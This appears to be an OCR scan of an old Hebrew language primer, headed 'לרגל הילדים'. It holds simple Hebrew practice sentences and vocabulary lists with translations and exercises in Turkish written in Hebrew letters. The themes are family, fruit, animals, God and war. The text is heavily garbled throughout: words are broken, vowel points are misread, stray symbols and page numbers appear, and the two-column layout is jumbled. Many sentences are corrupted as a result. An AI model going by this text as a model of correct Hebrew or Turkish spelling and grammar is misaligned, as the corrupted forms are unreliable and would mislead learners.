חמול על היתומים האלה כי מלך רב חסד אַתָּה : איש כַּבִד פָּה וּכְבַד
לשון אַנָכִּי: לא אוכל לעזר את האשה העניה הזאת כי איש עני אָנִי :
אֶהַבְתִי בתי כי חַכְמָה אֶתּ. אחי: תן לי את האגווים ואת התפוחים קח
לָךָ. תן לי את הסוסים ואת החמורים קה לְף + תמים אתה אחי ויפה ומום
אין בַּךָ . תמימה את אחותי ויפה ומום אין בַּךָ . אלהינו שלח עזרף לנו כי
בטחנו בַּךָ. התלמיר הזה רָע: הבית הזה צֶר : אבי בא מירושלם ליום
חָג : זאבי ערב טרפו את דודי בַּיעֶר : תן לי את הַייִן : היום לא שתיתי
מַיֶם. מי הער הוה אשר אִתֶּךָ :לא ידעתי מי הַנָעֶר . בגן דודיהיה אָרָז
גבוה, אתמל רוח חוק שבר את הָאָרָּ : בָּמַ אבי היה בְּצָרורו מי גגב
את הצרור ואת הַכַּסף אבי נתן אל הֶתָרָש זהב וְכָסַף ונחשת . דברי
חכמה יקרים לי מזהב וְכַסַףפ+ כל אנשי העיר זקו ונער עשיר ודל יצאו
לקראת המלך . אבי נטע לו כרם וַיֶת. אֶלהַי הבושים עץ וָאָבֶּן. הכושים
עובדים אלהי אבן וְעֶץ ואנחנו עובדים את יהוה אשר עשה שמים וְאָרֶץ.
אתה הלכת לכרמך אתמל, למה לא לקַחְתָּ את בנך עמָךְ! קטן הנער
ולא ירע עוד טוב וַרע : הבית אשר בו יושבים העניים האלה שָפָּל וְצָר :
לא שתיתי מים ולא אכלתי לְתָם. אִין בִּי עון ופשע: מִיהוה בת והון .
שאלתי מאלחים חכמהושָכָל ולאשאלתי עשרוהון.מיוְמִי התלמירים האלהז
.4 6%
בּמנִי בָּמַוךָ , = ניג'א בן אוולא רא סן . בן נאסלי איסאם סן. דא
אוולא סין.
בְּעמִי בְּעמך ניג'א בּנים מיללתים . אוולא סניג מיללתיג, בנים
מיללתים נסלי איסא סניג מיללתיג דא אוולא דיר .
ְּסוְסִי כְּסוּסִיךָ , בנים אטלרים סניג אטלריג גיבי דיר .
כּרְמנִיכֶּרְמּנְהָ, בניסנארים סניג נאריג גיבּי דיר .
בְּמוך כַּפַרְעה , פן נאפלי איסאג פרעה דא אוולא דיר . סן פרעה
| ניבי סין .
כּאתָמל כּהַיוָם, דון נסלי איפא. פונון דא אוולא דיר. דון בּוגון
ניבי דיר ל
כּדוִד בַּשֶלמה מַלְכִי יְשַראֶל הֶם , נאפלי דוד אוולא דא שלמה
ן אנלר ישראל פאדשאה לרי דיר .
כּכחי אֶתמל כָּבְחִי היום , דון כּי קוותים נאפלי איסא בּוגונכי קוותים
דא אוולא ריר .
10 לרגל הילרים
סוגרא אני אייגיא מוחורלרדיגיז מי-+ שרה ורבקה סיז. בוגון ּנדן ביר
איי לאלי אלדיגיז . אני סוולדיגיגיז גּיבּי אנאמא יולקאדיגיז מי + שרה
ורבקה \ סיז. טילימיגיזי : יידיניז, נא איצון אני סירכאיא -מאנדירמדיגיו ?
סיז בו יראמ כִּישַיָי אורמאנדא ראסט גטירדיגיז וא אני אג'ידיגין וא
אולדורמדיגיז אני + רבּפו ביזי סאגינדי וא ביוא יארדים איטדי . כו
יראמולר יידילר ביזי וא יוטדילר. בּיזי. ביר סמיז אינכ ביזי סוזדי וא אניג
איצון בּיז דחי. כּפסיז איז . סיז אונוטדיגיז בּיזי וא: סאגינמאדיניו בּיזי .
אללהים! פן בּיזי גומישי סיז גורמיש. גיבי , סיוגורדיג . קיוקרדשים! נא
איצון אונוטדיג בּיזי וא סיקלת גונדא ביזא יארדים איטמדיג + ביז בוגון צוק
קרבנלר צאלריק עבח)וא אנלרי יידיכ , ביז בו סמיז אינכלרי סאטריק וא
אנלרי בולאולאמדיק . אנלרי סאטון אלאן כישי אנלרי אללהא וקרב צאלדי
(ְבַח לָאלְהִים). בו אצכילר איי אידי '- נא איצון כאטריגז שרה סניג
אטלריג טקאתסיז דיר נא איצון אנלרי בואגיר/ח עְַרְבָּאיא = ייכריל + רבקה
ניג אטלרי פכ טקאתסיז דיר או איסא ו בו אגיר ערבאיא. ייכרי ,
תלמידלרים : בּן סיזי פגאית סוודים . זירא סיז עָלְמִי סווריגיז וא אני
אוגרנדיגיז. יצחק ורוד : ביז סיזיי כור איטדי ירא סי כ מנבל סיגיז
וא חיץ ביר עלם וא טרכ אדב אוגרנמדיגיז. . בו = טאפלרראכי קאנלר
נררא דיר + -- בּן אנלרי יירא דוכדים . בּבאם בגא וצרי אעפילרידן ₪
0 סמיז אצכילר יוללאדי; בן אנלרי אללהא קרבן צאלרים. בו זנגין
פשאלר בוגון אצכילר וא | אינכלר = קרב צאלדילר וא = אנלרי
פוקראלרא יוללאדילר . יצחק ניג וא שלמהניג אַטלרי פכ טקאתסיז דיר,
אנלר אנלרי בו אגיר | ערבאיא ייכדילר . נא איצון סיז אצכילריניזי
סאטדיגיז וא אנלרי קרבן 2 שרה ורבקה : סיזיילי : רובאלריגיזי
יירמדיגיווא נא איצון אנלרי ביר דחי דיכמדיגיז+ שרה ורבקה! ביז סיזא
סיזיג פוקראל3יזדא יארדים אשייה סיז איסא ביזי אונוטדיגיז . שרה
ורבקה ! סיז פכ טנכל פוגיז וא אניג איצון רובאלרימי דיכמב וא
בורונג'יכלרימי טוקומ אקאיצון סיזי דוטמדים . שרה ורבקה : סיז נאאיצון
כּפסיז סיגיז + אינּ מי סיזי סוזדי+ משה ושמואל: נא מוטלו סיזא כי סיוא
דאגדא אַיִי ראסט גלדי וא סיזי בומארלמדי . כו יראמזלר סיזי יידילר וא
סיזי יוטדילר.: שרה ודבקה! בו יראמז לר סיזא אורמאנדא ראסט גלרילר
ואפיזי אולדורמדילר .
אחי ! אתה אכלת את התפוחים וְאָנְבִי לא "ירעתי . תן לי
פת לחם: כי רְעַב אַנְבִי :. אָנְבִי למדתיאת א שר אמר מלמרנו אתמל וְאַתֶה
לגל הילרים 199
קרדשים: סני בוגוּן כּים (חק אילן) דוטדי+ קיז קררשים! יראמז כּימסאלר
סני אורמאנדא ראסט גמורדילר אממא סני אניידילר וא אולדורמדילר
סניי. קיוקרדשים : סני אנאם פכ סוודי., זורא סן זיירב סין וא אוקומאיא וא
יאזמאיא אוגרנדיג. יצחק: אנאם סני פכ כור איטרי, זירא סן טנפלוא
גיהיל סין וא בו גנא קדר אוקומאיא וא יאזמאיא אוגהנמריג: . אללהים !
ג'ומלא. עומרומיג גונלרי סא סאדיקאנא (ִבּאָמֶת) חיזמת איטרים. .
קיזקררשים \ בן סניג פוקראלגיגיג גונלרינדא. סגא יארדים אימדים .
סוְרבָּבּי אללהימיז סין וא ביזסני בוראקמדיק. רבקה ! בן סני אָבימרא
היזמת: אידמפ איצון דוטרים, פן איסא ;ְאַתּמנכל סין וא סאדיקאנא
חיזמת אירמייר פין.. שרה ביז סני קיזימיזא עלם אגרטמב איצון דוטדיק ,
סן איסא ג'היל סין וא חיץ: ביר שיי בילמייר סין . בו בורג' פכ אוכסכ דיר
וא-בן אָני זאבט איטריגימדן סוגרא אני אמשא יאקדים. אללהים ! סוגום
נאסלי אולור (סוגום נא דור וא אולכ גוניס נאללומיט יג גוני) בן אני
בילמייר אים (אני בּילמדים) בן או סמיז אינכ ני סויידים: בן אני סאטמדים .
קרדשים אורמאנדא גזר אידי , בו יראמזלר אני אוראדא ראסט גטירדילר
וא אני אולדורדילר . קיזקרדשים אורמאנדא גזר אידי, אני אוראדא צוק
אייילר פּארֶם לר וא אכשם. בורולרי ראסט גטיררילר וא אני אוראדא
פאראקרילר וא בוטארלרילר . סויידא ביר כּיציכ באליק גוררים וא פיר
יו בּאליק -אני יוטדי . אקאם מכתוביני אני יאזדיגינרן סוגרא גאנדן
סוגרא כּי - אני) יי בּבּאם מבתובי כאַגְרֶת) אוקודו וא אני
אנאמא וירדי . כיציכ קרדשים אזבר דא גזר אידי, בו סייאח אינכ אני
סוזדי.. קיוקררשים בּבּאמא ביר מכתוב יאודי וא אגי מוחורלדי. ,: פקיר
חלאייק או סמיז סיגירי דון סויידי וא אני סאטמרי . בו בורג' אוכסכ דגיל
אודי, אממא סן אני זאבם. איטמריג. . קררשים ! סן = מכתובי. יאודי
אממא אני מוחורלמדיג . |
קררשים ! סן. בגדן בו לאליי קיזקררשימא יוללאמק איצון אלריג
וא אני. אנא יוללאמריג .. קיזים! בן סגא ייני רובא דיכדים, פן אני
יְרטדיג .. קיזקרדשים! בו חאנים סגא בּגאית אייירובאלר דיכדייוא אניג
אייליבלרי סגא פכ צוק דיר, פן איסא אני אונומריג וא אני סאגינמריג ;
בּיז בור טילים אכּמכ אלדיק, אני סירכא יא מאנדירדיק וא אני ייריכ ,
וא אניג אוצון יז אזץ דגיל איז. בּיזגומיש אלריק וא אני אייג'א סיזגירדיק .
ביז בוגון פיד מכתובּ יאזריק וא אני. אייג'א מותורלרוגימיורן סוגרא אני
קיזקררשימא. יוללאדיק . יצחק ושמואל \ מכתובי (אגרת) יאוהיז דן
₪ (חלק ראשון) (.17)
156 לרגל הילדים
טלכנו כי אתה לְכַרְתן כל .. אלחינו ו למה עְָכְתנוּ בתי ! למה שְכְחָתְני
ולא 4 לי מאומה 1 העבר הזה עצל מאר ולמה, אחותי, שכרתיו +
אַתָּ, בתי, כתבת את האגרת ולא חַתַמְתִיהָ. פתחי ביתנו פתוחים ואת ,
אחותי : 3 ְנַרְתִּים . שרה ורבקה חחוצות מאד ולמה , אחותי , לא
שְכַרְתִין לתפר את בִּנְַךָ אלהי: לא עבת ולא שָכַחְתּיך מִנָערִי .
בכלי 5 דִרשַתִיך. תלמירי! בבל לבי ביס כי אַתָם אוהבים חכמה
ומוסר . אני פתחתי את הפתחים ולא סַנַרְתִּים עוד . מי סָתם.את המעין
הטוב חזה? אני סתמ קיו . אתה שברת את האמה העצלה הזאת ל ואני
לא שַכרַתִּיהָ. בתי ואחותי : בכל לבי אֶהַבְחּיבֶן כי חכמות 'אתן וטובות
מאר . לי היו הפרות הבריאות האלה ואני כַבְרְתין לְדוּדְך . אֶהַבְתּין ,
בתי , כי אחבת חכמה ולמדת הימב כִעַעּרְיִך י
תּלְמִירִי למה שְכַחְתוּנִי ולא כתכתם לי מאומה עד היום + שרה
ודבקה! למה מַאמְוּנִי ואני. אֶהַבְתִיכָן בכל לבי+ יצחק ושמאל ! למה
הרפתם. את המעינים אשר בגניכם ולמה: סְתמתום שרה ורבקה !
הפרות אשר לכן חיו מובות ובריאות מאד ולמה מכרתון + החומה הזאת
איננה גבוהה 9 לא לְכַדְתוּהָ. אתם לכדתם את המנדל ושרפתוהוּ
באש . שרה ורבקה! אתן פתחתן את הדלת ולא סגרַתוּה . בתי ואחותי ,
אתן אכלתן את להמכן ולא טכלתוהו י בחמץ . אנחגו לכדנו את העיר
= באש . האנשים האלה חר וצים מאד ועל כן שכרנוּם לבצר את
כרמינו. עצל וסכל הנער הזה ועל כן כלנו מְאַסנוּ הו . אלהינו! אַהַבְנוּף
ובכל לבנו דֶרַשנוּ. בריאות הפרות האלה ועל כן שְחַמָנוּן . חמלנו
עליכם, אויבי נוולא הַרגְנוּכֶם . רבקה! חמקנו עליה ולא הַרְגְנוך . שרה
ורבקה: עצלות אתן , ועל כן לא שכרנוכן וּמַאַסְנוּכָן מאד. אויבי! למה
ד 2 ולא הנתוע , 6 המלחמת + -
אללהים דאר גונדא בוראקדיבני זירא גונאחלרים צוק דיר . בּבּאם
וא אנאם בוראקדילר בני. אנאם בוראקדי בני . קיו מב איטדי בני
ּן ביר פקיר אתלאן אים, א) נא איצון אלמארריניזי דוושירמב. איצון
(דוושירמייא) בני דוממאדיניזנשכר)? בּכאם! סן בני אקאמא יוללאדיג,
אמאא (וא) או אבינדא יוק אידי . אנאם ! סן בּני כור. איטדיג וא סוומדיג
בני. זירא בּן טנבל אים וא עלם אוגרנמדים . שרה ור5קה! .סיז כּני
אנ'ידיניז וא . אולדורמדיגי בּני . * קיוקרדשים ! בְּבּאם סני בנאית כוַר
איטדי. אבשאם בורולרי כניראסט גטירדילר אממא סנו בוטארלאמדילר.
קיוקרדשים: אנאם סני כור איטדי זירא סן עלם אוגרנמייא סוומייר. סין
לרגל . הילדים 17
הַיוּם פִּנְשנִי דב בַּיעֶר . אֶתמל פַנְשונִי דָבִּים רִבִים דְבִּים רבות)
בער אֶחִיו מָתִי פּנשִךִנְמֶר בַּיִער+ אַחותִי: מָתי פִּכָשֶך נָמָר בּיַעֶר הוה ו
אַתמל הַלְכָה אַחותי בער וּפגשָּ גְמֶר דול רִבְּקה וְשָרָה הלכו אתמ
בער גמְרִים ְדוּלִים פנשון שָם. בַּתִּ + אָנָה חָלֶך הַוּאָב אָשֶר פנש אֶת
אֶחיבִּיעָר טרפו שם+ אָנָה הָלָכוּ הזְאָבים אשר פּגשו את האמה וטרפוה !
מָעַבָדִים שר שָכֶר אָבִי אָתְל אַבָלוּ את פִתִיהֶם ולא מִבָלון בּחמֶץ .
עבדי לקט אַגווִים בער וְאָבְלֶם . בָּנִי רְאָה אָגוִים טובים בער וּלְקָמֶם .
ְּנִי לָקְחוּ אֶת הָאָגוזִים מעל יהשלחן רַקום על הָאָרֶץ. משה ושלמה: מי
שְכַרְכָס היום + הַָשיא הזה שְכְרָנוּ לְלֶקט לו אָגוזים בער . הַעשִירִים
הַאֶלֶה שְבְרוּנוּ ְלֶקט רמונים בְּגְִיְהָם - מְאין הנשיאִים אֶשֶר שבָרוּכֶם
לבצר ּרְמִיחֶס + שָרָה וְְבְקָה: דַּבִּים פּנשוּכָן בער ולא מַרְפוּבֶן. יְהוָה !
בנ שְרְאָל- הרשוף בָּיוּם צֶר .. אַחותִי ! עור לא פַּנְשוך זְאָבִים בער .
דב דול פגש אֶת בָּתּי וְאַחותִי בער - ולא טַרְפֶן . שָרָה וְרבְקה: מַה שֶם
הָאִיש אַשֶר שְכַרְכָן כַבָס אֶת בַּגְדָו. בָּנִ ישְרְאֶל ובו אֶת. הָי וּבִיום
צר דְרְשוּהוּ .
הגבירה העשירה הזת שְבָרַתְנִי אתמל. לָבְצר את כרמה אשר
בִּירוּשָלֶם. הפרה השחורה הזאת נְגְהַתך. ואתה עודך חי . איה הדם
אשר היה בּסף הזה ? אמי 6 על הארץ . איה התפוחים אשר היו
בסלים האלה + -- השפחה גִנָבְתַם מִכָרָתַם אתמל .. האשה הזאֶת שכרְתנו
ללֶקט תפוחים: ורמונים בגניה הרבים : אחותי אכלה את פַּתָהּ ולא
מִבְלְקָה בחמץ . בתי ואחותי אכלו את פתיהן ולא מִבָלון בחמץ אשר
בסף הזה . מי האשה העשירה אשר שכרְתף + אחותי + -
רבקה ! מתי שְכַרְתךְ הגבירה הזאת = לְתְפר. את בגדיה היקרים .
אחותי. חולה כי גְנְחַתָּהּ הפרה הבריאה הואת . אחותי = ובתי
| חולות כי נְגַמְתַן הפרה אשר לדודי. יצחק ושמואל ! האשה אשר
שבְרְתְכם אתמל לבצר את כרמיה עשירה מאד . שרה ורבקה! האשה
אשר שְבָרַתְבָן אתמל לתפר לה בגדים יקרים היא המלכה. איה הלחם
אשר היה -. - בתי אָכָלְתהו אַכְלה היום .
אלהי ! למה שכחתני עד היום + למה לא זכרתני , בני?. אחי !
למה לא אכלת את לחִמָך ולא מַבְלְו בחמץ + איה התפוחים אשר היו
| לי אתמל 1 -- למה לא מכְרְתם לי+ איה הפרה הבריאה אשר נתן לף
אחי? -- למה לא זבחְתָהּ ער היום + גבוהה החומה אשר בעיר אויבינו,
ואשריך אחי כי אתה הֶפַכְקָה - גדולות הערים אשר לאויבינו ואשריך
16 לרגל הילדים
ו בּד', בך';
ת.תְע: 5
ער גָער + עס , ַעם :+ ער , יָעַר ר, פַּחַר :
בּיח,,, בָּיֶת + ום, זית : ו מַם , מים :
ד\) זה* ד\ון 1 זהז
א ארז* עבר ,,עַבָד + שָמָן , שמן : כְּסי , כּסף :
פּפֶח, פֶָח * פֶּרח, פֶרֶָח : פְּשע, פָשַע + וע , רע :
עַבְדִּי יָשָר וטוב וָחָרוּץ . עבר יַשָר וָחָרוּץ וָמוב !
לָורִי שר וְסוּם וחמור . לְדורִי שר וחור וְסוּם .
לְאָבִי עַגל שור וַחָמור . בי על וחָמור שור .
ּףּ סֶכֶל רע | תָצל . ּף סְבָל תְצַל וע .
סק ִלשודל. נֶם . = = ה ְחָק חלש מְתוּם וְדֶל .
לי רבש וְלָחֶם וספוח . = = סן לי רכש ותפוז וְְתֶם עְלְחֶם)
פן לי מ וְשַמ1ְובְעם. = | פן לי גבעיס ומן ושמן לשמ
ד זה צ
עבָר וְמִלך .
וק כער . בָּרֶס וזית , זָהָב וְבְסָף .
זרק , (יָרק) פאצדי . דב , (ם ג') זי ני, ר- נְמֶָר , כל א) פארס.
פֶּנָש (יפְגַ'ש) אֶת פלי , ּבִים איי. 7 /- / ער
בְּפְלוגִי . רַאסט = שריי 8
גלדי, ראסט נטירדי . מל, (נצ אד ציה וציק. אורמאן .
ל | (יטכּל) מאנדיררי , חמץ, כל א') ז'. סירכָּא.
יש קץ ,(נצב') ספ, אחך. |
אונ' . ְכַח, (ת'צ ב) ד . קרבן.
טב
טכל בְּמִים , סוייא
מאנדירד!? .
הת , (יסהם) אומד"י \ סף , (₪ ביר סָפים) | פרק , פרק קופאררי י
קפארי. בּוסאנא, טאס, פאראלרי .
לקט (יַלֶקט) דוושיררי ו
בְּרַש (יָרֶרש) ארארי .
שברניַשָכּר)תק איל[דוטרי, עַרָב , אכשאם, זן) אב ערב / בּלָע ; (יבלע) יוטדיי.
בח (יְבַּה) פויירי , קרבן אכשאם בורוסי,
ְאָב , (0 7', בּורו. טַרף , (ימרף) בוטארלרי.
. : : 8% היטב , איי. איינ'א .
איטדי , ו אכשאם נז בדו, ה+/חימב , א", אנא
לרגל הילרים 5
שרה ורבקה : אם לא תקמדנה את בניכן חכמה ומוסר גם הם לא
יכבדו אתכן בזקניכן. מי יכבד את האוש המכזב + האנשים המבזבים לא
בדו עד עולם. מימ י המבול בני האדם נחלקו ללאמים רכים , האלהים
שבר על ברול מעל בני ישראל . לא יספרוּ חסרי מלכנו כי רבים הם
מאד ; הם יפרו עד עולם . לא יכלתי לאכל את בשר העגל המבשל
אתמל . הנערים האלה לא לְמדו בביתם; כי יתומים ועניים הם. אשרי
האנשים אשר לָמְדוּ בנעוריהם , כי חם יכבדוגם בזקוניהם . שרה ורבקה
גדלו בבית אבִּי+ גם אחרי 9 יבשל בשר העגל לא נוכל עוד לאבל
כי אבי לא בא עוך אל הבית מן השרה. כל הלאמים יקכצו לירושלם
לעָבד את יהוה . בני ישראל יצאו ממצרים אחרי שַבַר יהוה את על
הברול מעליהם. רבקה אחרי אשר גדּקָה בבית אבי בחברון ישבה בבית
דודי בירושלם עד יום מותה. לא למדנו להלחם ברמחים ובמגנים .
היו לבשנו את בגדינו אחרי אשר כבפו במים. האנשים החכמים האלה
כלם למדו בבית נשיא עירנו. הלבלכן אחות מלמרה כאחותי !
שרה ורבקה: אגר אוולדלריגיזא עקל וא טרכ אדב אוגרטיר איסְגִיז
גנדיגיזידא סיילי אולור סיגיז. (רנבתלניר סיגיו) . קיוים! בו פנא סוזלרי
סוולמִייָא סין. ילאן סוולייאן אדם גיבּי פנא אדם ואר מי דיר + ילאן
סוולייאן קרי גיבי פנא קרי יוק דיר . פאדשאהלרינא ילאן סוולייאן
כּימסאלר גיבי פנא כימסאלר גורמדים .4 בן ישראל פארשאהלריניג
מזארלריניג אוזרינרא באקיר קלקאנלר גזרדים . או קלקאנלר אנלריג
קלקאנלרי דיר.מיללתלריג שמאטאסידיגיזלריג שמאמאפי גיבּי דיר.אנאם
קיזים וא קיזקרדשים סיזג'ומלגיו אץ סיגיז זירא בוגון חיץ ביר טילים אמכ
יימדיגיז , קיזים! סניג בויונסאג פב וה דיר. אללה אוזריגדן בויונסאגי
קירסין . אל לח אוזריגיזדן נקבה! בּויונסאגיזי קירדי, סאן או אוגוללרא
כּי מלמדלריני סָיילאר לר, זירא אנלר דא פיילי אולורלר (סיילאניר לר),
בּבּאם גיבּי ולי סיילאנילאן) ישי יוק דיר. אנאם גיבי סְיִילי 4
נילאן) קרי ואר מי דיר + ביזים שחרימיזדא צוק איי בחצא לר ואר דיך
וא או בחצא לר ג'ומלסי כייבא דירכלרי דולו דיר.
6 8
אנכ , אנבי : אָנִי , אני :
אמח אתה אף את :
14 לרגל,. הילרים
בוו פאדשאהלריג אלטין קלקאנלרי ואר דיר. ח יאפדיגי גמייג אודאלרי
צוק דיר , בן אניג ל] יהושלם גא גיטדיגים עִרְכָּא (אראבא) וא אניל
טכרלרי ביו אודילר.,. בן אניג אילן מִסְרָא גוטריגים גמי: ביוּ הירוא
אניג: אודאלרי כגיש. אידילֶר. בו דגיזיג אוכסכ דלנאלרי אוזרינא גזן
גמילר . קיריליָרלר. ..-. בו. גיא - אללה - שידרתלי - קוותלי) ייל -אילן
שהרימיזראבי,. ג'ומלא. .אוכסכ סלוילרי קיררי .
יִהוָה: ב בּטחנו כלנו כי אתה עזנו ומגננו. בני ישראל כּלם כּךף
בטחו, כי-אתה עזרם ומגנם. בני! במחו ביהוה כי הוא עזרכם ומגנכם .
האהבת את יהוה בכל לבף + הסכּין אשר בו נשחטה עזי היה חר מאר ,
העגלה אשר לאבי גדולה ואפניה כבדים מאד. אופני העגלה אשר לאבי
גשברו אתמל. אמי ספרה לי את כל אשר 6 ה' לבני ה במצרים .
אחותי כבדה את בית יהוה בכספה ובזהבה . אחי גדל בגנו עצי פרי
רבים . גם בני אשר גדלתי שכחוני . חסדי יהוה אספר 5 יום מותי .
למה לא תלמי א את בניכם קשת ומלחמה + שרה ורבקה: למה. כזבתן
לי + אחותי : מתי תספרי לאמי את הדברים אשר ספר-לנו מלמדנו היום?
שרה : ספרי לאבי את אשר שמעת בבית דודנו. אל תכזבו , בני: קדשו
את ימי החגים כי קדושים הם.. אל יבטחגבור בעזו .. אל יבטחוגבורים
בעזם. יהוה! שבר מעלינו את עולנו הכבד. אם לא תלמד את כנף
הכמה ומוסר גם הוא לא יכבד אותף בזקוניך .
דגיזי דלגאלרי אוזרינדא גון כימסאלרי: יורגי דמיר יור דיר ,
קיזקרדשים דחי טילימיני יימדי , שהרימיז דכי אוכסב סלוילר ג'ומלאסי בו
גג'א שידרתלי ייליג סבּבינדן סינדילר . בו מרחמתלי פאדשאהיג ישראל
אוולדלרינא איטדי י צוק. אייליכלרי ; אבדן חכאיית (נקל) אולונירלר. ,
שרה ורבקה! פיזיג בו כירלי ל יאייקמאיא וקת דיר, קיזים
וא קיזקרדשים ביזא בּוגון סן בוגאזלריגיג בוואביג אָטיני פישירירלר.,
סניג גקבה) אצביניג אָמי . קיזים פישירדיני מוואב אטינדן דאטלי דגיל
דיר , בּיז ג'ומלמיז בּגאית אץ איז זירא דחי טילימימיזי יימדיכ, סניג קיזי
בחצא סינדא זייתון דירכלרי אוסטוררו מי? פיז בייראמיגיזי חצאן דוטאג'ק
סיגיז נעזיו אידג'כ סוגין) + בּיז בייראמימיזי דון רוטטוק עזיו, אימדיכ). .
קיזים ! סג יל ספטלריל הר דורלו דירכ מייבאסי דולו דיר.. קיזים: אללה
סניג קוותיג וא ל דיר.. קיזים: אלֶלהא אישאן, זירא קלקאג יג או
דיר , קיזים וא קיזקרדשים ילאן סוולמז לר .. קיזים וא קיזקרדשים !
ילאן סו לאסו .
לרגל הילדים 13
ערי ישראל הגדולות והיפות כּלן נְשרְפוּ ישראליג * בי וא רילבר שהרלרו-
באש . נ'זמלאסי אטשא יאנרי .
אָמִי בּשָלָה אֶת הַבְּשָר וְאַחַר אבַלְנוּוּ. | אנאם אָטי פישיררי וא אנרן סוגרא ביו
אני יודו .
הָאוּיָבִים לְכרוּ אֶת עירְנוּ וְאַחַר שָרְפוּהָ = דושמאנלר שהרימיזי זאבט איטרילר וא
בָּאָש . סוגרא אני אטשא יאקרילר .
אַמָרִי הַלְכָד הַחוּמָה כָּל-יוּשָבִי הער = קלעה אלינריקרן סוגרא שהריג. ג'ומלא
1 אוטוריג'ילרי קאצרילר .
אנְשִי הַמִלְחְמָה בְּרַחו ללה חרי אֶשַר | ג'נכּ אדמלרי = שהר אלינריקרן סוגרא
ִלְְּרָה הער . נג'א (אילן) קאצרילר
איה בי הַזָהָב אֶשר בו שְתֶה אָבִי יי הַחַדִּים הַמַבִיִים אֶשָר בָּהָם
שֶחטו בנ אֶת הפרות + היקרים מזרקי הלטה : 5 אָשר בָּהֶם שֶחָה דורך מִיִם ?
ְּסָלִי מִי הַבִיא הַעָבָד אֶת הַתַּפוּחים וְאֶת הֶרְמנִים: רְבְקה מה בְּסַלך ו
ִּימִי חַָנוּ שָמח לְבָּנוּ מאד . שרה ורבקה: לַבְכָן לב אָבֶן כִּי לא חמלמן
על היתומים הַעְנִיִים הָאֶקָה . אַחותִי ! מה שבָרְת אֶת כַּדךְ הַתָרָש !
שרה הלב אָבן לב + אי לא תַתִמָלִי על הָאָמָה הָענִיָה הזאת + הָעזִים
הָאלָה שמנות וטובות, מָתִי תַּשְחט אֶת עזיך השמנות 1 חָצִי בי
למִרְחמה. ָתִי יְִרְכוּ הַגְבְורִים הַאֶלָה את חַצִיהֶם קלחמה + לא אַכלתִי
עור פַת ְתָם היום . לא אִכְלְתִי עוד. אֶת פתי . לָמִי נַתִנָה רבקה את
פּתהּ, קנִי הַתּבָה אֶשֶר עָשָה נח הַיוּ רַבִּים מָאד . * קול תֶפִיכֶם אֶשר
שמעתִי מִרַחוק הָיָה רַב מאד . מן לי מַפַתֶּך כִּי רעב (איץ) אָנְבִי מַאר .
רְאִיתִי אֶת שָרֶה ורְבקה וְהגה על רַאשִיהָן סלים גְּדולִים . מה הָיָה
בְַּלִיהן שְרָה וְרְבְקה ! מה בְּבְדִּיכן. הַתִרָשִים הָאֶלָה + כַּדינו הַגְדולִים
מִלְאִים מיָם .
בו קיסא פיצאגיג אילן בו אצכימי בוגאזלאיא בילירמיסין + או
פיצאקלר כּי אנלר אילן בו קוללר סניג אצכילריגי בוגאזלרילר כּסכין
דגיל אידי . אלימדכי כסבין קילג ' אילן פאדשאהימיג ג'ומלאדושמאנלריני
קיראר אים (אולדורור אים), או מרכב כּי אניג אילן בו כתאב יאזילמיש
דיר סייאח דגיל דיר . סניג אוקלריג כּי אנלר אילן דושמאנלריג אולדורילדי
אגא אוקלר דגיל אידי; אנלר דמיר אוקלר אידי. בּו דירג פולגאפי
אוזון דיר. בו דירגיג כולגאסינדא יאטן קרי כים דיר+ בו דירכ אוכּסכ וא
אניג. כולגאסי אוזון דיר . סני 3 קלקאניג בנים קלקאנימדן ביוכ דגיל דיר .
19 לרגל
ְהוָה עָזִי ומָעי, בו בטח לבִי .
ּסָלִים הָאָיָה תפוחים וְרַמְגים רַבִּים .
על פָּנִי השָרָה, הקרוב לְבִיתנוּ גל אֶבְנִים
גָבוהּ מָאר .
ביהוה אֶלהָינוּבֶּטַחְנוּ, עְזָנוּ וּמְִנָנוּ הוא.
לָמִי סלי חֶרְמַנִים הָאֶלֶה ?
הִרְאיתָ אֶת הים וְאֶת גליו הנבוהים ?
מַלְךּ מִצרים שֶם על כָּנִי יַשָרְאָל אֶת
ערו הַככר מָאד : :
יוה אֶלְהִיהֶם שכר את עַלֶם מְעלִיהֶם .
אְבָנוּ בָּא עָלִינוּ בְּקשת וּבְחְצִים .
בְּנִי ! הרְרכְתֶּם אֶת תִצִיכֶם אִם לא ?
בִּרְמְחִיִם וכמגנים יאו עררי למלְחְמָה -
כּבְּוּ אֶת יָהוֶה אֶלְהָיבֶם בְוְהַבְכֶם
ובְכַסְפֶּבָם .
אְהָכו. את יְהוָה בְּכֶל-לְבְּכֶם .
בים ו יהוו ה כָּלן נישרף בָּאָש..
בּתי י עורנו ִּם ם נשרפו באש .
אֶרֶץ ושרְאל- טוּבָה
וושטו ת
עבִי נ פרי ח
מָאד כִּי כל מִלְאַה
- . 0"
כּלנוּ בּני. איש עָנִי אָנחנו. .
הילדים
רבּפי קוותים וא קלעהם. ריר ,
אנא אושאכרי .
בו ספטלררא צוק - אלמאלר וא נארלר
(ואר דיר) .
ביזים אָבימיזא.יאקין צולוג אוזרינרא כיר
פּכּ אוכסכ טאש אובּא (ואר דיר) .
רבבי אללהימיזא אישאנריק ; קוותימיו וא
קלקאנימיז או דיר .
בו נאר ספטלרי כימיג דיר ?
רגיזי וא אנינ אוכסכ רלנאלריני נוררינ
מי ?
מסר פארשאהי בני ישראל אוזרינא
בנאית אגיר בויונסאסיני קודו ;
וא רבּבי אללה לרי אנלרינ אוזרינרן
בויונסאלריני קירדי .
רושמאנימיז אוזרימיזא יאיי וא אוקלר אילן
גלדי .
אוגוללרים ! אוקלריניזי קוררוניז מי יוקסא
רגול מי ? /
קוללרים סונגולר וא קלקאנלר אילן ג'נכ
גא ציקדילר .
רבבי אללהיניזי אלטיניגיו אילן וא גומישי-
גיד אולן רגבתלייאסיו .
רבכיי ואר ו אילן סבונון ,
קלבים
י חכמילי אטשא יאנדי
שהרימיזינ ב -ג'ומלאסי אטשא יאנרי.
ישראל טופראני 5ּכ איי ריר , זירא
בוטוני (תכּמילי) מייבא רירכלרי
חלו דר
ביו ג'ומלאמיז ביר פקור כישיניג אוולדלרי
איז . :
סיז ג'ומלא גיז עקללי סיגיו , זירא גומלאגיו
על וא תַרְכּ ארב אונרנדיגיו .
רבבינ
לרגל הילדיט
שרה וּרְבקה ! מדוע לא כָבַּסְתֶן אֶת
בנְִיכְן הצואִים הָאָלָה +
לא כָּּבנוּ לָכֶם מָעוּרנו ועד היום .
הרוח הַחזֶק יבר חיום אֶת כָּלקָעצִי
הַשָרָה .
מָחִי , חבשל לָנוּ אָמִי ,
בְּשֶר עגל ז
